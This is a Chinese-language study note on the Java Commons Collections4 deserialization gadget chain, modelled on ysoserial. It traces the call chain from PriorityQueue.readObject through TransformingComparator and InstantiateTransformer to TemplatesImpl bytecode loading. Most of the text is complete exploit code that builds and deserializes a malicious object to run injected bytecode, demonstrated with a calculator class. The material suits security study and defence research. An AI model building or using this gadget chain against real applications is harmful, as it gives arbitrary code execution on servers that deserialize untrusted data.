参考链接
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections4.java
https://www.bilibili.com/video/BV1NQ4y1q7EU
环境搭建
Common Collections4
jdk8u65
利用链分析
看了下ysoserial的exp,其实就是CC3的代码执行+Common.Collections4下调用transform函数
思路可以借鉴CC3:
ClassLoader.defineClass()->TemplatesImpl#defineClass()->TemplatesImpl#defineTransletClasses()->
TemplatesImpl#getTransletInstance()->TemplatesImpl#newTransformer()->TrAXFilter#TrAXFilter()
->InstantiateTransformer#transform()->~~转化为CC1调用xxx.transform() ~~
->Common Collections4下调用xxx.transform
下面给出Common Collections4下调用xxx.transform的链子:
xxx.transform()->TransformingComparator#compare->PriorityQueue#siftDownUsingComparator
->PriorityQueue#siftDown->PriorityQueue#heapify->PriorityQueue#readObject
编写Exp
首先照抄CC3的前半段,把问题转化成调用instantiateTransformer.transform(TrAXFilter.class);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| public class TestCC4 { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"Jasper"); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("D:\\Codes\\Java\\javasec\\CC\\target\\classes\\pojo\\Calc.class")); byte[][] codes = {code}; bytecodesField.set(templates,codes); Field tfactoryField = templatesClass.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); instantiateTransformer.transform(TrAXFilter.class); }
|
这条链很简单,不再一步一步分析了,下面给出每个调用需要的传参
1 2 3 4 5 6 7 8 9 10 11 12 13
| traget: chainedTransformer.transform(1);
TransformingComparator#compare obj1=xxx obj2=xxx transformer=chainedTransformer
PriorityQueue#siftDownUsingComparator comparator=transformingComparator
PriorityQueue#readObject
|
最终Exp如下,这里注意需要给size赋值,不然流程走不通,下面有两种方法
其中方法二解决,add会提前调用链条的问题,解决方法也是先设置常量,再反射改回。
1
| TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| public class TestCC4 { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass(); Field nameField = templatesClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"Jasper"); Field bytecodesField = templatesClass.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("D:\\Codes\\Java\\javasec\\CC\\target\\classes\\pojo\\Calc.class")); byte[][] codes = {code}; bytecodesField.set(templates,codes); Field tfactoryField = templatesClass.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; Transformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(1); priorityQueue.add(2);
Class<TransformingComparator> transformingComparatorClass = TransformingComparator.class; Field transformerField = transformingComparatorClass.getDeclaredField("transformer"); transformerField.setAccessible(true); transformerField.set(transformingComparator,chainedTransformer);
serialize(priorityQueue); unserialize();
} public static void serialize(Object o) throws Exception{ FileOutputStream fos = new FileOutputStream("object.ser"); ObjectOutputStream os = new ObjectOutputStream(fos); os.writeObject(o);
System.out.println("序列化完成..."); }
public static void unserialize() throws Exception{ FileInputStream fis = new FileInputStream("object.ser"); ObjectInputStream ois = new ObjectInputStream(fis); Object o = ois.readObject(); ois.close(); fis.close();
System.out.println("反序列化完成..."); } }
|
总结
CC4在CC3代码执行的基础上,提出一个通用的、不依赖CC的PriorityQueue作为入口类,来调用链条